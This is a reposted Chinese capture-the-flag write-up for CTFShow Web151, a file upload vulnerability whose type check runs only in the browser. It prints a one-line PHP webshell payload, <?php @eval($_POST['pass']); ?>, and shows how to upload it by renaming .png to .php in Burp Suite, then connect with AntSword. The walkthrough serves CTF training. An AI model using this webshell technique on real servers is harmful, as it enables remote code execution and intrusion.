CTFShow-Web151:文件上传漏洞

news/2025/2/6 16:53:31/文章来源:https://www.cnblogs.com/cookiescs/p/18701345

CTFShow-Web151:文件上传漏洞

🛠️ Web151 题解

本题考察 文件上传漏洞,仅在前端进行了文件类型验证,允许上传 .png 图片文件。我们可以通过抓包修改文件后缀的方式绕过限制并获取 WebShell。

🔍 源码分析

在 upload.php 代码中,我们发现了以下 HTML 代码片段:

<button type="button" class="layui-btn" id="upload" lay-data="{url: 'upload.php', accept: 'images',exts:'png'}">

​ • 该代码仅在 前端 限制上传文件的类型(accept: 'images',exts: 'png')。

​ • 后端未进行严格校验,这意味着我们可以通过抓包修改文件后缀,绕过前端限制。

📝 WriteUp(解题步骤)

1️⃣ 制作带有 WebShell 的 PNG 文件

我们需要构造一个 包含一句话木马的 PNG 文件,其内容如下:

<?php @eval($_POST['pass']); ?>

⚠️ 注意:该文件需要保留 PNG 格式的头部数据,以免被检测到格式异常。

2️⃣ 上传文件并抓包

上传 a.png 文件,并使用 Burp Suite 进行抓包:

image-20250129210243090

3️⃣ 修改文件后缀并上传 WebShell

将 a.png 修改为 a.php,然后重新发送请求,使其上传到服务器。

image-20250129210351750

4️⃣ 连接 WebShell(蚁剑)

使用 AntSword(蚁剑) 连接 WebShell,填入一句话木马<?php @eval($_POST['pass']); ?>中的pass作为连接密码:

image-20250129210522281

5️⃣ 获取 Flag

连接成功后,在 www/html/flag.php 目录下找到 Flag 🎉

✅ 总结

📌 漏洞点分析

​ • 仅在 前端 限制上传 .png 文件,后端未校验文件类型

​ • 通过抓包修改文件后缀 .png → .php,可成功上传 WebShell。

​ • 服务器允许执行上传目录下的 .php 文件,导致 远程代码执行(RCE)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/879717.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

云大使 X 函数计算 FC 专属活动上线!享返佣,一键打造 AI 应用

通过函数计算 FC 一键部署 Flux 模型,快速生成毛茸茸萌宠风格图像。我们将为您提供预置的工作流文件+内置大模型+Lora 模型,让您基于函数计算部署 ComfyUI 快速体验AI生图。如今,AI 技术已经成为推动业务创新和增长的重要力量。但对于许多企业和开发者来说,如何高效、便捷地…

标准化管理数字化转型的实践与价值

在当下数字化转型的汹涌浪潮中,企业所处的竞争环境变得愈发复杂且瞬息万变。 标准化管理作为企业实现高质量发展的稳固基石,正切实面临着前所未有的机遇与严峻挑战。 从机遇层面来看,数字化技术的迅猛发展为标准化管理带来了全新的手段和方法,使管理效率和精准度提升成为可…

JS-52 定时器之setTimeout()

JavaScript提供定时执行代码的功能,叫做定时器(timer),主要由setTimeout和setlnterval()这两个函数来完成。他们向任务队列添加定时任务 setTimeout函数用来指定某个函数或某段代码,在多少毫秒之后执行。它返回一个整数,表示定时器的编号,以后可以用来取消这个定时器。…

spark实验一

使用 Linux 系统的常用命令 启动 Linux 虚拟机,进入 Linux 系统,通过查阅相关 Linux 书籍和网络资料,或者参考 本教程官网的“实验指南”的“Linux 系统常用命令”,完成如下操作: (1) 切换到目录 /usr/bin; (2) 查看目录/usr/local 下所有的文件;(3)…

博客园-awescnb插件-geek皮肤优化-Markdown样式支持

💖简介 博客园-awescnb插件-geek皮肤下,Markdown语法中对部分样式未正常支持,可以通过自定义CSS进行完善。 ✨定义列表定义自定义CSS 博客园->管理->设置->页面定制 CSS 代码 添加代码/* 定义列表 */ dl dt{font-size: 14px;font-weight: bold;font-style: italic…

uniapp vue3 路由传参 利用props获取参数

A页面跳转B页面 A页面 function toDetail(value) {console.log(click);let chuansVal = decodeURIComponent(JSON.stringify(value));console.log(chuansVal);uni.navigateTo({url: "/pages/material/receiveDetail?data=" + chuansVal}); }B页面 const props = def…

团队协作工具私有化部署优选:板栗看板的安全与高效之道

在进行企业私有化选择时,建议详细咨询软件供应商或查看其官方文档以获取最准确的信息。板栗看板是一款非常适合中小团队的协作工具,尤其在任务管理、项目进度跟踪和沟通协作方面表现出色。如果你正在寻找一款简洁高效、功能强大的团队协作工具进行企业私有化,板栗看板无疑是…

06 软件安全测试

13. 软件安全性测试 黑客、病毒、蠕虫、间谍软件、后门程序、木马、拒绝服务攻击等。 安全产品:指在系统的所有者或者管理员的控制下,保护用户信息的保密性、完整性、可获得性,以及处理资源的完整性和可获得性。 安全漏洞:产品不可行的缺陷,正确使用产品时来防止攻击者窃取…

微服务引擎 MSE 及云原生 API 网关 2024 年 12 月产品动态

微服务引擎 MSE 及云原生 API 网关 2024 年 12 月产品动态

Redis缓冲区分析

Redis缓冲区分析 1 Redis缓冲区简介 缓冲区,用一块内存空间暂时存放命令数据,目的是解决因数据和命令的处理速度小于发送速度而导致数据丢失和性能问题。缓冲区的内存空间有限,当写数据速度>读数据速度持续进行,会导致缓冲区容量需越来越大。当缓冲区占用内存>设定上限阈…

微服务开发环境搭建

1. 配置maven,使用阿里镜像库 2.idea下载常用的插件,lomok插件和mybatis插件 3.新建工程,微服务分布式工程 4.前端开发工具安装vs code 5.配置git代码仓库管理 本文永久更新地址:1. 配置maven,使用阿里镜像库 找到maven下载安装目录,找到conf配置文件,修改setting.xml配置…

SpringBoot的idea搭建使用过程(一)

1,在idea中新建一个SpringBoot项目 2,搭建项目框架 3,修改application配置文件后缀改成yml,添加配置文件,yml需要注意格式 4,在控制器层添加一个测试接口 5,启动Demo1Application类启动成功后就可以访问http://localhost:8080/看到在templates里面添加的index.html 本文永…